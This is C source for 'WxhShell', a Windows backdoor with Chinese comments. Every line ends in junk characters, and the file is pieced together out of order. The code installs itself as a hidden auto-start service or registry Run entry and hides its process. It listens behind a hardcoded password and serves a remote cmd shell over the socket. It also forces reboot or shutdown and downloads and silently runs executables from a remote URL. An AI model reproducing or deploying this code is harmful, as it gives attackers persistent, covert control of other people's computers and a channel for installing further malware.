    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H3&$:h  
    if(Boot(SHUTDOWN)) 2?HLEiI1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h'wI/Z_'  
    else { %POoyH@D}  
    closesocket(wsh); t,&1~_9  
    ExitThread(0); x ;kW }U  
    } B[8  
    break;  snX5mD  
    } z0c_&@uj*  
  // 获取shell 8)T.[AP  
  case 's': { ;Lz96R@}  
    CmdShell(wsh); h_H$+!Nzb  
    closesocket(wsh); UE*M\r<  
    ExitThread(0); @dw0oRF  
    break; Z:5e:M  
  } 40mgB4I  
  // 退出 F(mm0:lT  
  case 'x': { )/Ul" QF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c\7~_w2  
    CloseIt(wsh); u>d,6 !  
    break; O9jqeF`L=  
    } 4R.rSsAH  
  // 离开 %gmf  
  case 'q': { KYMz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }ufH![|[r  
    closesocket(wsh); .%.J Q  
    WSACleanup(); >/GVlXA'  
    exit(1); { "=d7i  
    break; wU+-;C5e  
        } -FdhV%5]  
  } Eqnc("m)  
  } {4\(HrGNk  
.t$~>e .  
  // 提示信息 NZCPmst  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bfhap(F~(e  
} ~:v" TuuK  
  } n YWS'i@  
]|'Mf;  
  return; Wu?4oF  
} O6 bB CF;  
SBZqO'}7  
// shell模块句柄 LL4yafh  
int CmdShell(SOCKET sock) ~}PB&`%7  
{ CB:G4VqOT  
STARTUPINFO si; ?u/RQ 1  
ZeroMemory(&si,sizeof(si)); ZXlW_CGO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; : OQx;>'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iW9G0Ay  
PROCESS_INFORMATION ProcessInfo; '+JU(x{CCl  
char cmdline[]="cmd"; M|6 l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B^Fe.ty  
  return 0; 1>|2B&_^  
} Kj.4Z+^  
ET.c8K1f  
// 自身启动模式 ?%(:  
int StartFromService(void) j&(aoGl@  
{ $GB/}$fd&  
typedef struct AT+7!UGL  
{ 3]$qY_|7  
  DWORD ExitStatus; .0}]/%al  
  DWORD PebBaseAddress; tUaDwIu#  
  DWORD AffinityMask; T5$db-^  
  DWORD BasePriority; ^Q0%_V,  
  ULONG UniqueProcessId; \("|X>00  
  ULONG InheritedFromUniqueProcessId; C5"=%v[gQv  
}   PROCESS_BASIC_INFORMATION; R9xhO!   
#0GvL=}k  
PROCNTQSIP NtQueryInformationProcess; 68 vu  
_=S 4H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?H3Ls~R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D;*P'%_Z  
L"e8S%UqX  
  HANDLE             hProcess; Po_y7 8ZD  
  PROCESS_BASIC_INFORMATION pbi; `o4alK\  
Y- esD'MD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VB=$D|Ll  
  if(NULL == hInst ) return 0; #6* j+SX^  
%PW_v~sg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2)cq!Zv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bh V.uBH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HtFc+%=  
wA$ JDf)Vg  
  if (!NtQueryInformationProcess) return 0; jJc:%h$|2  
|soDt <y+L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V'alzw7#  
  if(!hProcess) return 0; S+9}W/  
6N+]g/_a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,sF49C D  
l=4lhFG,Mk  
  CloseHandle(hProcess); qJN!L))  
Ps<;DE\$f4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =cz^g^7  
if(hProcess==NULL) return 0; <MdIQ;I8  
_ x8gEK8  
HMODULE hMod; g4z*6L,u  
char procName[255]; >JVdL\3  
unsigned long cbNeeded; ~$w9L998+  
zp.-=)D4e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZMa@/\pf1  
9eR4?^(3!  
  CloseHandle(hProcess); dA 03,s  
xs?Ska,N  
if(strstr(procName,"services")) return 1; // 以服务启动 {/ef`MxV }  
Y-YlQ ^  
  return 0; // 注册表启动 f(SK[+aqW  
} g  Z!q  
JO[7_*s  
// 主模块 /hF@Xh%hY  
int StartWxhshell(LPSTR lpCmdLine) FqwH:Fcr:  
{ {mOQRAKl  
  SOCKET wsl; w{ +G/Ea  
BOOL val=TRUE; }aSTo"~m#  
  int port=0; [8%R*}  
  struct sockaddr_in door; h[*:\P`  
F .h A.E  
  if(wscfg.ws_autoins) Install(); rvEX ;8TS  
j{&*]QTN  
port=atoi(lpCmdLine); dQ#$(<v[  
j;TXZ`|(  
if(port<=0) port=wscfg.ws_port; 4 x|yzUx  
1RHFWK5Si  
  WSADATA data;  :d) y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ngLpiU0H&  
w#qE#g %1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !94qF,#1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nY M2Vxi0+  
  door.sin_family = AF_INET; <Dk6o`7^N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3%~c\naD?O  
  door.sin_port = htons(port); O n/q&h5  
aWS_z6[t#6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u,~/oTg O  
closesocket(wsl); i U"2uLgb  
return 1; +Hd'*'c  
} ?Z(xu~^/  
fug F k  
  if(listen(wsl,2) == INVALID_SOCKET) { Gg TrIF  
closesocket(wsl); 7ILb&JQ!%{  
return 1; [Fk|%;B/~  
} 2]:Z7Ji  
  Wxhshell(wsl); .(g"(fgF  
  WSACleanup(); ]L6[ vJHx  
&RB{0Qhx  
return 0; &*j# [6  
 Q'~3Ik  
} [6cF#_)*  
lY$9-Q(  
// 以NT服务方式启动 ;s\ck:Xg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^!A@:}t>  
{ /0 2-0mNv  
DWORD   status = 0; )dh_eqnX  
  DWORD   specificError = 0xfffffff; XlJA}^e  
Um%$TGw5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1c4@qQyo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FE'F@aS\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1|XC$0  
  serviceStatus.dwWin32ExitCode     = 0; |SX31T9rG  
  serviceStatus.dwServiceSpecificExitCode = 0; RLNto5?  
  serviceStatus.dwCheckPoint       = 0; Vw";< <0HZ  
  serviceStatus.dwWaitHint       = 0; p>h&SD?b  
;%^T*?t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M$Or|HTG  
  if (hServiceStatusHandle==0) return; fx=HKt  
IeT1Jwe  
status = GetLastError(); ]@A31P4t|  
  if (status!=NO_ERROR) }cO}H2m  
{ ~0V,B1a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Pj UlcO_  
    serviceStatus.dwCheckPoint       = 0; I?OnEw  
    serviceStatus.dwWaitHint       = 0; Y^2]*e%  
    serviceStatus.dwWin32ExitCode     = status; 9s2 N!bx  
    serviceStatus.dwServiceSpecificExitCode = specificError; `xsU'Wd^<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *pSD[E>SU  
    return; AQgagE^  
  } z8JdA%YBM  
 j|owU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \O=t5yS  
  serviceStatus.dwCheckPoint       = 0; !SAR/sdXf  
  serviceStatus.dwWaitHint       = 0; >Pwu>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qr'P0+|~5  
} :9]"4ktoJ  
5Y#~+Im=[@  
// 处理NT服务事件,比如:启动、停止 >5MHn@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Oi4y~C_Xd  
{ e)#f`wM  
switch(fdwControl) NR.YeKsBq  
{ q[ 5&  
case SERVICE_CONTROL_STOP: f9a_:]F  
  serviceStatus.dwWin32ExitCode = 0; ~JX+4~qT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _ lE d8Cb  
  serviceStatus.dwCheckPoint   = 0; VRA0p[  
  serviceStatus.dwWaitHint     = 0; ~#PC(g  
  { @QbTO'UzK`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O Ce;8^  
  } X;QhK] Z  
  return; wPQRm[O|  
case SERVICE_CONTROL_PAUSE: q3e^vMK"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :\69N/uw`  
  break; rvETt  
case SERVICE_CONTROL_CONTINUE: JAU:Wqlg1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bR}=bp4K  
  break; f0ME$:2  
case SERVICE_CONTROL_INTERROGATE: VQ/Jz5^  
  break; " "{#~X}  
}; uTvck6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RGz NZc  
} q-D|96>8  
vN$j @h .  
// 标准应用程序主函数 ;S}_/'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f[+N=vr  
{ Q}|QgN  
(4"Azo*~![  
// 获取操作系统版本 L9^h .Y7  
OsIsNt=GetOsVer(); V[fcP;   
GetModuleFileName(NULL,ExeFile,MAX_PATH); !A=>B=.|D  
0Q5fX}  
  // 从命令行安装 'w`3( ':=  
  if(strpbrk(lpCmdLine,"iI")) Install(); &k@r23V7r  
|yYu!+U  
  // 下载执行文件 2>h.K/pC  
if(wscfg.ws_downexe) { n+H);Dg<8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DcX,o*ec!  
  WinExec(wscfg.ws_filenam,SW_HIDE); B`/p[U5  
} ,#hx%$f}d  
BiI`oCX  
if(!OsIsNt) { {N`<TH PP  
// 如果时win9x,隐藏进程并且设置为注册表启动 c5AEn -Q  
HideProc(); a[ A*9%a  
StartWxhshell(lpCmdLine); X%]m^[6  
} We:b1sZR  
else -=VGXd  
  if(StartFromService()) tY0C& u2  
  // 以服务方式启动 =N<Z@'c  
  StartServiceCtrlDispatcher(DispatchTable); Y4,LXuQ  
else CSNfLGA  
  // 普通方式启动 Uv%?z0F<C  
  StartWxhshell(lpCmdLine); 3!2TE-  
&pEr;:E  
return 0; Hi Pd|D  
} b&xlT+GN  
HWxwG'EEY,  
\Ss6F]K]  
i5CBLv  
=========================================== 5/C#*%EH'  
oa:30@HSb  
?)mM]2%%  
?n9?`8a#  
K-,8~8[  
IHStN,QD  
" \iM  
P,ud"F=r  
#include <stdio.h> <L>$Y#wU  
#include <string.h> L_QJS2  
#include <windows.h> Av"^uevfs  
#include <winsock2.h> EjFK zx  
#include <winsvc.h> Bv(c`JE~;  
#include <urlmon.h> >Qold7 M  
.F@0`*#rE~  
#pragma comment (lib, "Ws2_32.lib") &M2SqeR62;  
#pragma comment (lib, "urlmon.lib") L6f$ID:  
.wJv_  
#define MAX_USER   100 // 最大客户端连接数 RqE|h6/  
#define BUF_SOCK   200 // sock buffer .E&-gXJ4  
#define KEY_BUFF   255 // 输入 buffer ?h7(,39^>  
`&!J6)OJ  
#define REBOOT     0   // 重启 JsyLWv@6xa  
#define SHUTDOWN   1   // 关机 %:vMD  
QX >Pni  
#define DEF_PORT   5000 // 监听端口 PHv0^l]B  
fFNwmH-jv  
#define REG_LEN     16   // 注册表键长度 TF-k|##G  
#define SVC_LEN     80   // NT服务名长度 ^Uq"hT(41  
18];fC  
// 从dll定义API EH~XN9b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -9> oB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8}<4f|?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {v~.zRW%]r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5&N55? G6  
a^QyYX}\qR  
// wxhshell配置信息 c0Oc-,6J  
struct WSCFG { j_Q kw ?   
  int ws_port;         // 监听端口 C,#FH}  
  char ws_passstr[REG_LEN]; // 口令 \\9$1yg   
  int ws_autoins;       // 安装标记, 1=yes 0=no bj`mQMC  
  char ws_regname[REG_LEN]; // 注册表键名 jce^Xf  
  char ws_svcname[REG_LEN]; // 服务名 flzHZH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d/!R;,^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V Mb r@9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G~fM!F0   
int ws_downexe;       // 下载执行标记, 1=yes 0=no uIb,n5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M qG`P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c037#&Q%#  
)%D>U  
}; |)WN%#v  
XLxr@1   
// default Wxhshell configuration xv:VW<  
struct WSCFG wscfg={DEF_PORT, V detY\  
    "xuhuanlingzhe", WPu{ ]<pl  
    1, eh5j  
    "Wxhshell", N]iu o.  
    "Wxhshell", j@4AY}[tX  
            "WxhShell Service", >4@/x{{  
    "Wrsky Windows CmdShell Service", L6E8A?>5rD  
    "Please Input Your Password: ", dzn[4  
  1, C=uYX"  
  "http://www.wrsky.com/wxhshell.exe", f%JC;Y  
  "Wxhshell.exe" K6X}d,g  
    }; I|oS`iLl$  
l1MVC@'pvP  
// 消息定义模块 l\%LT{$e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oGXndfd"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oP 4z>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M9scZuj  
char *msg_ws_ext="\n\rExit."; ERQc1G]3Dd  
char *msg_ws_end="\n\rQuit."; j!;y!g  
char *msg_ws_boot="\n\rReboot..."; :^[HDI-[2  
char *msg_ws_poff="\n\rShutdown..."; Kfl#78$d  
char *msg_ws_down="\n\rSave to "; Z<^TO1xs9B  
6 7{>x[  
char *msg_ws_err="\n\rErr!"; eg$y,Tx  
char *msg_ws_ok="\n\rOK!"; bJ#]Xm(]D  
X cDu&6Dy  
char ExeFile[MAX_PATH]; <JNiW8 PG  
int nUser = 0; jt?.g'  
HANDLE handles[MAX_USER]; /;rPzP4K6  
int OsIsNt; S B# Y^!  
;LjTsF'  
SERVICE_STATUS       serviceStatus; eK=<a<tx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *sbZ{{]e  
;%_s4  
// 函数声明 F:B 8J4/  
int Install(void); P/hV{@x  
int Uninstall(void); -=)Al^V4T  
int DownloadFile(char *sURL, SOCKET wsh); @;K-@*k3  
int Boot(int flag);  s%c>Ge  
void HideProc(void); 4T<4Rb[  
int GetOsVer(void); JX!@j3  
int Wxhshell(SOCKET wsl); &3t[p=  
void TalkWithClient(void *cs); 3j2#'Jf|:  
int CmdShell(SOCKET sock); Nt5`F@;B  
int StartFromService(void); Hz6tk9;w  
int StartWxhshell(LPSTR lpCmdLine); r3_O?b  
yoc;`hO-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z2cumx(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sq Y$\&%  
6-oy%OnN  
// 数据结构和表定义 2S^:fm}  
SERVICE_TABLE_ENTRY DispatchTable[] = rrL gBeQa  
{ Un[ 0or  
{wscfg.ws_svcname, NTServiceMain}, U:1cbD7|3  
{NULL, NULL} HZDeQx`*s  
}; +t hkx$o  
f+K vym.  
// 自我安装 ! O~:  
int Install(void) 2uln)]  
{ XVwJr""+  
  char svExeFile[MAX_PATH]; k(bDj[0q^  
  HKEY key; -)Zp"  
  strcpy(svExeFile,ExeFile); a#L:L8T;j  
d[7B,l:RN  
// 如果是win9x系统,修改注册表设为自启动 6#SUfK;  
if(!OsIsNt) { AIU=56+I\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ah9P C7[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Mq vGXI  
  RegCloseKey(key); DY(pU/q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Am @o}EC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L)qDtXd4  
  RegCloseKey(key); 818,E  
  return 0; \Hs*46@TC  
    } P]mJ01@'  
  } +$;* "o  
} 49?wEm#  
else { :Q-QY)hH  
S8Ec.]T   
// 如果是NT以上系统,安装为系统服务 km,I75o.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Krw'|<  
if (schSCManager!=0) $3'xb/3|  
{ f]C`]qg  
  SC_HANDLE schService = CreateService s,;7m  
  ( E3"j7y[S  
  schSCManager, AdgZau[Y6  
  wscfg.ws_svcname, %5yP^BL0  
  wscfg.ws_svcdisp, vBLs88  
  SERVICE_ALL_ACCESS, #i'wDvhol  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =!N,{V_  
  SERVICE_AUTO_START, Xf%vfAf  
  SERVICE_ERROR_NORMAL, ]]eI80u[  
  svExeFile, Tf{lH9ca$  
  NULL, \TS.9 >\  
  NULL, m8Y>4:Nw  
  NULL, 9cXL4  
  NULL, I1 +A$<Fa  
  NULL j^)=<+Q;=  
  ); [U@ ;EeS  
  if (schService!=0) Y1-=H)G  
  { 7:'5q]9  
  CloseServiceHandle(schService); k!0vpps  
  CloseServiceHandle(schSCManager); l[Ko>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 49tJ+J-N  
  strcat(svExeFile,wscfg.ws_svcname); O^DLp/vM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E4N"|u|   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pah*,  
  RegCloseKey(key); qoAJcr2uN  
  return 0; eHc.#OA&  
    } 5;CqGzgoP  
  } CuFlI?~8 z  
  CloseServiceHandle(schSCManager); C {G647  
} 4&<zkAMR  
} f3SAK!V+s  
Z5`U+ (  
return 1; tpQ8 m(  
} W2]%QN=m$  
rI'kZ0&  
// 自我卸载 YDaGr6y4i  
int Uninstall(void) $xK(bc'{  
{ H)pB{W/  
  HKEY key; 6Tg'9|g  
F>U*Wy  
if(!OsIsNt) { 98Im/v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]htx9ds=  
  RegDeleteValue(key,wscfg.ws_regname); DcsQ6  
  RegCloseKey(key); 9=9R"X>L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @5\/L6SRfL  
  RegDeleteValue(key,wscfg.ws_regname); 8nTdZu  
  RegCloseKey(key); F>ps& h  
  return 0; e^h4cC\^  
  } U(\ ^!S1  
} 7!q.MOYm  
} fvM|Jb  
else { 0c]3 ,#  
0kL tL!3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eXQzCm  
if (schSCManager!=0) Zrp9`~_g<!  
{ +f\r?8s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cxxrvP-  
  if (schService!=0) D1~3 3;  
  { |\/V1  
  if(DeleteService(schService)!=0) { 5uD'Kd$H  
  CloseServiceHandle(schService); A{ Ejk|  
  CloseServiceHandle(schSCManager); W_ubgCB  
  return 0; ? q hme   
  } ek]CTUl*  
  CloseServiceHandle(schService); ym6gj#2m  
  } /;xmM 2B'  
  CloseServiceHandle(schSCManager); QW6\~l 4  
} z=a{;1A  
} -\~D6OA  
zP#%ya :I  
return 1; &g5+ |g (  
} pYaq1_<+  
M\jTeB"Z  
// 从指定url下载文件 5E}~iC&  
int DownloadFile(char *sURL, SOCKET wsh) @G0j/@v  
{ IQQWp@w#8  
  HRESULT hr; %yP*Vp,W  
char seps[]= "/"; ypsT: uLT  
char *token; yf7$m_$C'  
char *file; K;#9: Z^+  
char myURL[MAX_PATH]; <e7  
char myFILE[MAX_PATH]; Mwd(?o  
3*$)9'  
strcpy(myURL,sURL); ,MdK "Qa>  
  token=strtok(myURL,seps);  QKtTy>5  
  while(token!=NULL) Rjz~n38.  
  { >s+*D=k  
    file=token; -P|st;?#  
  token=strtok(NULL,seps); "R v],O"  
  } mo- Y %  
[p# }=&d  
GetCurrentDirectory(MAX_PATH,myFILE); o$_,2$>mn  
strcat(myFILE, "\\"); L.) 0!1  
strcat(myFILE, file); 6_h'0~3?`  
  send(wsh,myFILE,strlen(myFILE),0); Zjx:1c= b  
send(wsh,"...",3,0); ]EZiPW-uy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m'P,:S)=  
  if(hr==S_OK) b 6B5  
return 0; zVU{jmS  
else {*J{1)2  
return 1; mIX[HDy:V$  
o0'!u  
} (+ibT;!]  
Vy7o}z`  
// 系统电源模块 j"c30AY  
int Boot(int flag) l4+Bs!i`  
{ ht 1d[  
  HANDLE hToken; -@EAL:kY  
  TOKEN_PRIVILEGES tkp; $ 'obj  
T,D(Xh  
  if(OsIsNt) { ^$I8ga  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ckTk2xPQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1SGLA"r  
    tkp.PrivilegeCount = 1; x<es1A'u6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F+3}Gkn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); - .EH?{i  
if(flag==REBOOT) { <yHa[c`L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3/i_?G  
  return 0; nF!6  
} bYKe5y=  
else { n$oHr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9Oe~e  
  return 0; q/lQEfR  
} ?' :v): J}  
  } awic9 uMH  
  else { P@wuk1  
if(flag==REBOOT) { $)O=3dNbo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R@8pKCL.  
  return 0; HDY2<Hzc  
} aF41?.s  
else { e(~9JP9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v?=y9lEH@%  
  return 0; XDdF7i}  
} il5Qo  
} W#.+C6/  
,&5\`  
return 1; +338z<'Z!  
} JE<w7:R&  
 UqwU3  
// win9x进程隐藏模块 <lo\7p$A  
void HideProc(void) ^.HvuG},O  
{ '=X)0GG  
[Ep%9(SgA'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $"P[nNW3  
  if ( hKernel != NULL ) 'OTQiI^t=  
  { NtfzAz/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f)x(sk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =} D9sT  
    FreeLibrary(hKernel); !jTtMx  
  } $~+(si2  
p.^qB]%  
return; 2Pm[ kD4E=  
} K8bKTG\  
<%iRa$i5  
// 获取操作系统版本 e1OGGF%E n  
int GetOsVer(void) .US=fWyrb  
{ !7hjA=0  
  OSVERSIONINFO winfo; 'EHt A9M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uo8[,'  
  GetVersionEx(&winfo); ZQk!Ia7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZccvZl ;b  
  return 1; 9?XQB%44  
  else 4=~+B z  
  return 0; n "bii7h  
} #PkZi(k hv  
&"r /&7:  
// 客户端句柄模块 W=:AOBK  
int Wxhshell(SOCKET wsl) C<Z{G%Qm  
{ U EjP`  
  SOCKET wsh; ;aN_!! r  
  struct sockaddr_in client; 5MCnGg@  
  DWORD myID; ve]hE}o/}  
dfP4SJqq  
  while(nUser<MAX_USER) @9tzk [  
{ <I#nwoHN  
  int nSize=sizeof(client); w7@TM%nS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |z7V1xF  
  if(wsh==INVALID_SOCKET) return 1; hp1+9vEN  
>t_h/:JZ)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?o6X_UxW!  
if(handles[nUser]==0) ^B)f!HtU  
  closesocket(wsh); l0 8vF$k|d  
else bu9.Hv T'  
  nUser++; 'Qh1$X)R7a  
  } BW:HKH.k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mbp7%^E"A  
r~z'QG6v/  
  return 0; V3>tW,z  
} |M&4[ka}  
C-@[=  
// 关闭 socket .P <3+  
void CloseIt(SOCKET wsh) : eCeJ~&E  
{ 0|Xz-Y  
closesocket(wsh); &|<f|B MX  
nUser--; hvGD`  
ExitThread(0); :h(` eC  
} [l3ys  
ZTibF'\5N  
// 客户端请求句柄 f14^VTzP/#  
void TalkWithClient(void *cs) Sx[ eX,q  
{ ZfH +Iqd  
R G*Vdom  
  SOCKET wsh=(SOCKET)cs; ^)wKS]BQ..  
  char pwd[SVC_LEN]; au04F]-|j8  
  char cmd[KEY_BUFF]; V2!0),]B  
char chr[1]; !> =ybRe  
int i,j; i y8Jl  
W#%s0EN<_  
  while (nUser < MAX_USER) { @0 'U p  
D<m0G]Ht*  
if(wscfg.ws_passstr) { J\Hv42  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qi B~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0$]iRE;O]  
  //ZeroMemory(pwd,KEY_BUFF); S3:AitGJ  
      i=0; |mP};&b  
  while(i<SVC_LEN) { @AF<Xp{  
V^,eW!  
  // 设置超时 gfs;?vP  
  fd_set FdRead; zGFD71=#  
  struct timeval TimeOut; i84!x%|P  
  FD_ZERO(&FdRead); <:V~_j6P0  
  FD_SET(wsh,&FdRead); tEL9hZzI  
  TimeOut.tv_sec=8; veHe   
  TimeOut.tv_usec=0; w`;HwK$ ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fz\Q>u'T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UXlZI'|He  
puJB&u"4L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >v%js!`f  
  pwd=chr[0]; J09jBQ] R  
  if(chr[0]==0xd || chr[0]==0xa) { y ?&hA! x  
  pwd=0; kzjuW  
  break; ujRXAN@mC  
  } +4.s4&f)  
  i++;  #D4  
    } {BmqUoZrC  
G.H8 ><%  
  // 如果是非法用户,关闭 socket {g! 7K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); : oXSh;\  
} (Kwqa"Hk4{  
6,A|9UX=`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Oj;*Gi9E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =w! ik9  
Hi A E9  
while(1) { }! EVf  
\y5lYb,*c_  
  ZeroMemory(cmd,KEY_BUFF); !1G KpL  
$G-<kC}8:  
      // 自动支持客户端 telnet标准   4LKpEl.=  
  j=0; T@tsM|pI  
  while(j<KEY_BUFF) { .`}TND~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q1T)H2S  
  cmd[j]=chr[0]; s`jlE|jtN  
  if(chr[0]==0xa || chr[0]==0xd) { '9zW#b  
  cmd[j]=0; p L"{Uqi  
  break; :QGkYJ  
  } c,xdkiy3  
  j++; Jt=- >  
    } XI\Slq  
He(65ciT<O  
  // 下载文件 Z*m^K%qJ  
  if(strstr(cmd,"http://")) { Hu"$ )V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z)s !p  
  if(DownloadFile(cmd,wsh)) 2iG+Ek-?"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QN#"c  
  else a+E 8s7C/D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~_fc=^o  
  } ,Z~`aHhr  
  else { ,{PN6B  
